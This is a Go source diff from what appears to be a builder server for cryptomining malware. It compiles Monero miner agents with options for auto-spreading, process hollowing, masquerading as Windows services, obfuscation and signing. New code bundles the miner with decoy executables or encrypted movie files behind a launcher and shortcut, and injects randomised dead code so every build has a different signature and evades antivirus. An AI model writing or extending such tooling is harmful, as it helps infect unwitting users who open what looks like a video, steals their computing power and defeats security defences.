||||||
dataDir string
|
dataDir string
|
||||||
@@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
contentType := r.Header.Get("Content-Type")
|
contentType := r.Header.Get("Content-Type")
|
||||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
|
if req.FusionMediaBaseName == "" && header.Filename != "" {
|
||||||
|
req.FusionMediaBaseName = header.Filename
|
||||||
|
}
|
||||||
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
|
||||||
req.FusionOutputName = header.Filename
|
req.FusionOutputName = header.Filename
|
||||||
}
|
}
|
||||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
if req.FusionPayloadKind == "" {
|
||||||
|
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||||
|
}
|
||||||
|
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||||
return
|
return
|
||||||
@@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
contentType := r.Header.Get("Content-Type")
|
contentType := r.Header.Get("Content-Type")
|
||||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
|||||||
prepSize = header.Size
|
prepSize = header.Size
|
||||||
prepName = header.Filename
|
prepName = header.Filename
|
||||||
}
|
}
|
||||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
if req.FusionPayloadKind == "" {
|
||||||
|
req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
|
||||||
|
}
|
||||||
|
saved, remove, err := h.saveUploadedFusionPayload(file, header)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||||
return
|
return
|
||||||
@@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
|||||||
http.ServeFile(w, r, build.FilePath)
|
http.ServeFile(w, r, build.FilePath)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
|
||||||
|
buildID := chi.URLParam(r, "id")
|
||||||
|
name := sanitizeFileName(chi.URLParam(r, "name"))
|
||||||
|
if name == "" {
|
||||||
|
http.Error(w, "Invalid artifact name", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
buildDir := filepath.Join(h.dataDir, "builds", buildID)
|
||||||
|
path := filepath.Join(buildDir, name)
|
||||||
|
if _, err := os.Stat(path); err != nil {
|
||||||
|
// Paired media may live in fusion export dir — try deliverables folder from query
|
||||||
|
if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
|
||||||
|
path = filepath.Join(exportDir, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(path); err != nil {
|
||||||
|
http.Error(w, "Artifact not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", "application/octet-stream")
|
||||||
|
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
|
||||||
|
http.ServeFile(w, r, path)
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||||
buildID := chi.URLParam(r, "id")
|
buildID := chi.URLParam(r, "id")
|
||||||
build, err := h.db.GetBuild(buildID)
|
build, err := h.db.GetBuild(buildID)
|
||||||
@@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
ldflags += " -H windowsgui"
|
ldflags += " -H windowsgui"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extra, err := injectPolymorph(agentDir, buildID)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[Forge] polymorph inject: %v", err)
|
||||||
|
} else {
|
||||||
|
ldflags += extra
|
||||||
|
}
|
||||||
|
|
||||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||||
log.Printf("Build failed: %v", err)
|
log.Printf("Build failed: %v", err)
|
||||||
@@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var extraArtifacts []BuildArtifactFile
|
||||||
|
var fusionRes *fusionBuildResult
|
||||||
if req.FusionEnabled {
|
if req.FusionEnabled {
|
||||||
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
|
if req.FusionPayloadKind == "" {
|
||||||
|
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
|
||||||
|
}
|
||||||
|
var err error
|
||||||
|
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
}
|
}
|
||||||
finalPath = fusedPath
|
finalPath = fusionRes.LauncherPath
|
||||||
finalName = filepath.Base(fusedPath)
|
finalName = filepath.Base(finalPath)
|
||||||
fusionEnabled = true
|
fusionEnabled = true
|
||||||
|
if fusionRes.EncryptedPath != "" {
|
||||||
|
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||||
|
FileName: filepath.Base(fusionRes.EncryptedPath),
|
||||||
|
FilePath: fusionRes.EncryptedPath,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if fusionRes.ShortcutPath != "" {
|
||||||
|
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||||
|
FileName: filepath.Base(fusionRes.ShortcutPath),
|
||||||
|
FilePath: fusionRes.ShortcutPath,
|
||||||
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
exportPath, err := h.publishRootExecutable(finalPath, finalName)
|
var fusionExportDir string
|
||||||
if err != nil {
|
var bundleFileName string
|
||||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
var bundleDownloadURL string
|
||||||
|
var bundleSize int64
|
||||||
|
exportPath := ""
|
||||||
|
if fusionEnabled {
|
||||||
|
exportLabel := req.FusionMediaBaseName
|
||||||
|
if exportLabel == "" {
|
||||||
|
exportLabel = filepath.Base(prepPath)
|
||||||
|
}
|
||||||
|
if req.FusionPayloadKind != "video" {
|
||||||
|
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
||||||
|
}
|
||||||
|
arts := map[string]string{finalName: finalPath}
|
||||||
|
for _, ex := range extraArtifacts {
|
||||||
|
arts[ex.FileName] = ex.FilePath
|
||||||
|
}
|
||||||
|
subdir := fusionExportSubdir(req, exportLabel)
|
||||||
|
readme := fusionReadmeInfo{
|
||||||
|
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||||
|
RunnerName: finalName,
|
||||||
|
MediaName: filepath.Base(exportLabel),
|
||||||
|
PayloadKind: req.FusionPayloadKind,
|
||||||
|
MediaMode: req.FusionMediaMode,
|
||||||
|
}
|
||||||
|
if readme.Title == "" {
|
||||||
|
readme.Title = sanitizeFileName(req.WorkerName)
|
||||||
|
}
|
||||||
|
dir, err := h.publishFusionDeliverable(subdir, arts, readme)
|
||||||
|
if err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
fusionExportDir = dir
|
||||||
|
exportPath = filepath.Join(dir, finalName)
|
||||||
|
extraArtifacts = append(extraArtifacts, BuildArtifactFile{
|
||||||
|
FileName: "README.txt",
|
||||||
|
FilePath: filepath.Join(dir, "README.txt"),
|
||||||
|
})
|
||||||
|
for i := range extraArtifacts {
|
||||||
|
if extraArtifacts[i].FileName != "README.txt" {
|
||||||
|
extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bundleFileName = fusionBundleZipName(subdir)
|
||||||
|
bundleBuildPath := filepath.Join(buildDir, bundleFileName)
|
||||||
|
if err := zipDirectory(dir, bundleBuildPath); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
_ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
|
||||||
|
if st, err := os.Stat(bundleBuildPath); err == nil {
|
||||||
|
bundleSize = st.Size()
|
||||||
|
}
|
||||||
|
bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
|
||||||
|
} else {
|
||||||
|
var err error
|
||||||
|
exportPath, err = h.publishRootExecutable(finalPath, finalName)
|
||||||
|
if err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if exportPath == "" {
|
||||||
|
exportPath, _ = filepath.Abs(finalPath)
|
||||||
}
|
}
|
||||||
if strings.TrimSpace(req.OutputDir) != "" {
|
if strings.TrimSpace(req.OutputDir) != "" {
|
||||||
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
|
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
|
||||||
@@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
log.Printf("Failed to record build: %v", err)
|
log.Printf("Failed to record build: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return BuildResponse{
|
resp := BuildResponse{
|
||||||
Success: true,
|
Success: true,
|
||||||
BuildID: buildID,
|
BuildID: buildID,
|
||||||
FileName: finalName,
|
FileName: finalName,
|
||||||
@@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
ExportPath: exportPath,
|
ExportPath: exportPath,
|
||||||
UninstallExportPath: "",
|
UninstallExportPath: "",
|
||||||
FusionEnabled: fusionEnabled,
|
FusionEnabled: fusionEnabled,
|
||||||
|
FusionExportDir: fusionExportDir,
|
||||||
|
ExtraFiles: extraArtifacts,
|
||||||
|
BundleFileName: bundleFileName,
|
||||||
|
BundleDownloadURL: bundleDownloadURL,
|
||||||
|
BundleSize: bundleSize,
|
||||||
WorkerFile: workerName,
|
WorkerFile: workerName,
|
||||||
Signed: signed,
|
Signed: signed,
|
||||||
Obfuscated: obfuscated,
|
Obfuscated: obfuscated,
|
||||||
}, http.StatusOK, finalPath
|
}
|
||||||
|
if fusionEnabled && bundleDownloadURL != "" {
|
||||||
|
resp.DownloadURL = bundleDownloadURL
|
||||||
|
resp.FileName = bundleFileName
|
||||||
|
if bundleSize > 0 {
|
||||||
|
resp.FileSize = bundleSize
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return resp, http.StatusOK, finalPath
|
||||||
}
|
}
|
||||||
|
|
||||||
// publishRootExecutable writes the forged installer as a single file in the project root.
|
// publishRootExecutable writes the forged installer as a single file in the project root.
|
||||||
@@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
if req.FusionOutputName == "" {
|
if req.FusionOutputName == "" {
|
||||||
req.FusionOutputName = "prep.exe"
|
req.FusionOutputName = "prep.exe"
|
||||||
}
|
}
|
||||||
|
if req.FusionMediaMode == "" {
|
||||||
|
req.FusionMediaMode = "paired"
|
||||||
|
}
|
||||||
|
req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
|
||||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||||
req.DisplayMode = "background"
|
req.DisplayMode = "background"
|
||||||
}
|
}
|
||||||
@@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||||
if header == nil || header.Size == 0 {
|
if header == nil {
|
||||||
return "", nil, fmt.Errorf("prep.exe upload is empty")
|
return "", nil, fmt.Errorf("fusion upload is missing")
|
||||||
}
|
}
|
||||||
if header.Size > 150<<20 {
|
if header.Size > FusionMaxUploadBytes {
|
||||||
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
|
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||||
}
|
}
|
||||||
name := strings.ToLower(header.Filename)
|
baseName := filepath.Base(header.Filename)
|
||||||
if !strings.HasSuffix(name, ".exe") {
|
if baseName == "" || baseName == "." {
|
||||||
return "", nil, fmt.Errorf("prep upload must be a .exe file")
|
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||||
|
}
|
||||||
|
if !isFusionPayloadExt(baseName) {
|
||||||
|
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
||||||
}
|
}
|
||||||
|
|
||||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||||
@@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return "", nil, err
|
return "", nil, err
|
||||||
}
|
}
|
||||||
dest := filepath.Join(dir, "prep.exe")
|
dest := filepath.Join(dir, sanitizeFileName(baseName))
|
||||||
out, err := os.Create(dest)
|
out, err := os.Create(dest)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
os.RemoveAll(dir)
|
os.RemoveAll(dir)
|
||||||
return "", nil, err
|
return "", nil, err
|
||||||
}
|
}
|
||||||
if _, err := io.Copy(out, file); err != nil {
|
written, err := io.Copy(out, file)
|
||||||
out.Close()
|
out.Close()
|
||||||
|
if err != nil {
|
||||||
os.RemoveAll(dir)
|
os.RemoveAll(dir)
|
||||||
return "", nil, err
|
return "", nil, err
|
||||||
}
|
}
|
||||||
out.Close()
|
if written == 0 {
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, fmt.Errorf("fusion upload is empty")
|
||||||
|
}
|
||||||
|
if written > FusionMaxUploadBytes {
|
||||||
|
os.RemoveAll(dir)
|
||||||
|
return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
|
||||||
|
}
|
||||||
cleanup := func() { _ = os.RemoveAll(dir) }
|
cleanup := func() { _ = os.RemoveAll(dir) }
|
||||||
return dest, cleanup, nil
|
return dest, cleanup, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func isFusionPayloadExt(name string) bool {
|
||||||
|
switch strings.ToLower(filepath.Ext(name)) {
|
||||||
|
case ".exe", ".mp4", ".mkv", ".mov":
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||||
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
||||||
// Build ID: %s
|
// Build ID: %s
|
||||||
@@ -675,9 +845,10 @@ import "time"
|
|||||||
|
|
||||||
func GetBuiltinConfig() BuiltinConfig {
|
func GetBuiltinConfig() BuiltinConfig {
|
||||||
return BuiltinConfig{
|
return BuiltinConfig{
|
||||||
WorkerName: %q,
|
WorkerName: %q,
|
||||||
ServerURL: %q,
|
ServerURL: %q,
|
||||||
Wallet: %q,
|
BackupServerURLs: %s,
|
||||||
|
Wallet: %q,
|
||||||
Threads: %d,
|
Threads: %d,
|
||||||
ThreadMode: %q,
|
ThreadMode: %q,
|
||||||
ThreadPercent: %d,
|
ThreadPercent: %d,
|
||||||
@@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
ProcessHollowing: %v,
|
ProcessHollowing: %v,
|
||||||
MeshP2P: %v,
|
MeshP2P: %v,
|
||||||
AutoSpread: %v,
|
AutoSpread: %v,
|
||||||
|
ServiceMasquerade: %v,
|
||||||
|
ServiceName: %q,
|
||||||
|
ServiceDonor: %q,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||||
req.WorkerName,
|
req.WorkerName,
|
||||||
req.ServerURL,
|
req.ServerURL,
|
||||||
|
formatGoStringSlice(req.BackupServerURLs),
|
||||||
req.Wallet,
|
req.Wallet,
|
||||||
req.Threads,
|
req.Threads,
|
||||||
req.ThreadMode,
|
req.ThreadMode,
|
||||||
@@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.ProcessHollowing,
|
req.ProcessHollowing,
|
||||||
req.MeshP2P,
|
req.MeshP2P,
|
||||||
req.AutoSpread,
|
req.AutoSpread,
|
||||||
|
serviceMasqueradeEnabled(req),
|
||||||
|
serviceMasqueradeName(buildID, req),
|
||||||
|
serviceMasqueradeDonor(buildID, req),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func serviceMasqueradeEnabled(req *BuildRequest) bool {
|
||||||
|
return req.RunAs == "service" || req.ProcessHollowing
|
||||||
|
}
|
||||||
|
|
||||||
|
func serviceMasqueradeName(buildID string, req *BuildRequest) string {
|
||||||
|
if !serviceMasqueradeEnabled(req) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
name, _ := pickServiceMasquerade(buildID)
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
|
||||||
|
func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
|
||||||
|
if !serviceMasqueradeEnabled(req) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
_, donor := pickServiceMasquerade(buildID)
|
||||||
|
return donor
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handler) copyAgentSource(destDir string) error {
|
func (h *Handler) copyAgentSource(destDir string) error {
|
||||||
srcDir := h.agentSrcDir
|
srcDir := h.agentSrcDir
|
||||||
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
|
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
|
||||||
@@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool {
|
|||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func formatGoStringSlice(values []string) string {
|
||||||
|
if len(values) == 0 {
|
||||||
|
return "nil"
|
||||||
|
}
|
||||||
|
parts := make([]string, 0, len(values))
|
||||||
|
for _, v := range values {
|
||||||
|
v = strings.TrimSpace(v)
|
||||||
|
if v != "" {
|
||||||
|
parts = append(parts, fmt.Sprintf("%q", v))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return "nil"
|
||||||
|
}
|
||||||
|
return "[]string{" + strings.Join(parts, ", ") + "}"
|
||||||
|
}
|
||||||
|
|
||||||
func sanitizeFileName(name string) string {
|
func sanitizeFileName(name string) string {
|
||||||
replacer := strings.NewReplacer(
|
replacer := strings.NewReplacer(
|
||||||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||||||
|
|||||||
7
server/internal/builder/limits.go
Normal file
7
server/internal/builder/limits.go
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
|
||||||
|
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
|
||||||
|
|
||||||
|
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
|
||||||
|
const FusionDeliverablesDir = "fusion-deliverables"
|
||||||
67
server/internal/builder/media_lock.go
Normal file
67
server/internal/builder/media_lock.go
Normal file
@@ -0,0 +1,67 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
|
||||||
|
const mediaLockMagic = "CMVD"
|
||||||
|
|
||||||
|
// EncryptMediaFile XOR-encrypts a movie for paired fusion (runner holds the key in manifest).
|
||||||
|
func EncryptMediaFile(srcPath, destPath string, key []byte) error {
|
||||||
|
if len(key) == 0 {
|
||||||
|
return fmt.Errorf("media lock key is empty")
|
||||||
|
}
|
||||||
|
in, err := os.Open(srcPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
|
||||||
|
out, err := os.Create(destPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
|
||||||
|
if _, err := io.WriteString(out, mediaLockMagic); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
buf := make([]byte, 256*1024)
|
||||||
|
ki := 0
|
||||||
|
for {
|
||||||
|
n, readErr := in.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
chunk := make([]byte, n)
|
||||||
|
for i := 0; i < n; i++ {
|
||||||
|
chunk[i] = buf[i] ^ key[ki%len(key)]
|
||||||
|
ki++
|
||||||
|
}
|
||||||
|
if _, err := out.Write(chunk); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if readErr == io.EOF {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if readErr != nil {
|
||||||
|
return readErr
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewMediaLockKey() ([]byte, error) {
|
||||||
|
key := make([]byte, 32)
|
||||||
|
if _, err := rand.Read(key); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return key, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func MediaLockKeyB64(key []byte) string {
|
||||||
|
return base64.StdEncoding.EncodeToString(key)
|
||||||
|
}
|
||||||
28
server/internal/builder/media_lock_test.go
Normal file
28
server/internal/builder/media_lock_test.go
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestEncryptMediaRoundTrip(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
src := filepath.Join(dir, "clip.mkv")
|
||||||
|
enc := filepath.Join(dir, "clip.mkv.cmdata")
|
||||||
|
plain := []byte("fake movie bytes 12345")
|
||||||
|
if err := os.WriteFile(src, plain, 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
key, err := NewMediaLockKey()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := EncryptMediaFile(src, enc, key); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
st, _ := os.Stat(enc)
|
||||||
|
if st.Size() <= int64(len(plain)) {
|
||||||
|
t.Fatalf("encrypted size unexpected: %d", st.Size())
|
||||||
|
}
|
||||||
|
}
|
||||||
171
server/internal/builder/polymorph.go
Normal file
171
server/internal/builder/polymorph.go
Normal file
@@ -0,0 +1,171 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"hash/fnv"
|
||||||
|
mrand "math/rand"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
|
||||||
|
func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
|
||||||
|
if seed == "" {
|
||||||
|
b := make([]byte, 16)
|
||||||
|
_, _ = rand.Read(b)
|
||||||
|
seed = hex.EncodeToString(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
h := fnv.New64a()
|
||||||
|
_, _ = h.Write([]byte(seed))
|
||||||
|
rng := mrand.New(mrand.NewSource(int64(h.Sum64())))
|
||||||
|
|
||||||
|
buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
|
||||||
|
nonce := hex.EncodeToString(randomBytes(rng, 12))
|
||||||
|
|
||||||
|
funcCount := 6 + rng.Intn(8)
|
||||||
|
var funcDefs strings.Builder
|
||||||
|
var funcNames []string
|
||||||
|
for i := 0; i < funcCount; i++ {
|
||||||
|
name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
|
||||||
|
funcNames = append(funcNames, name)
|
||||||
|
funcDefs.WriteString(generateDeadFunc(name, rng))
|
||||||
|
}
|
||||||
|
|
||||||
|
strCount := 24 + rng.Intn(32)
|
||||||
|
var strLines strings.Builder
|
||||||
|
for i := 0; i < strCount; i++ {
|
||||||
|
s := randomString(rng, 16+rng.Intn(48))
|
||||||
|
strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
|
||||||
|
}
|
||||||
|
|
||||||
|
var tableEntries strings.Builder
|
||||||
|
for _, n := range funcNames {
|
||||||
|
tableEntries.WriteString("\t\t" + n + ",\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
|
||||||
|
// Build seed: %s
|
||||||
|
|
||||||
|
package polymorph
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/md5"
|
||||||
|
"encoding/hex"
|
||||||
|
)
|
||||||
|
|
||||||
|
const buildNonce = %q
|
||||||
|
|
||||||
|
var decoyStrings = []string{
|
||||||
|
%s}
|
||||||
|
|
||||||
|
var buildMarker = %q
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
_ = initDecoys()
|
||||||
|
}
|
||||||
|
|
||||||
|
func initDecoys() int {
|
||||||
|
sum := 0
|
||||||
|
for _, fn := range deadFuncTable {
|
||||||
|
sum += fn()
|
||||||
|
}
|
||||||
|
if len(decoyStrings) > 0 {
|
||||||
|
h := md5.Sum([]byte(buildMarker + buildNonce))
|
||||||
|
sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
|
||||||
|
}
|
||||||
|
_ = hex.EncodeToString([]byte(buildNonce))
|
||||||
|
return sum
|
||||||
|
}
|
||||||
|
|
||||||
|
func deadFuncTable() []func() int {
|
||||||
|
return []func() int{
|
||||||
|
%s }
|
||||||
|
}
|
||||||
|
|
||||||
|
%s
|
||||||
|
`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())
|
||||||
|
|
||||||
|
dir := filepath.Join(agentDir, "polymorph")
|
||||||
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
|
||||||
|
return extraLdflags, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
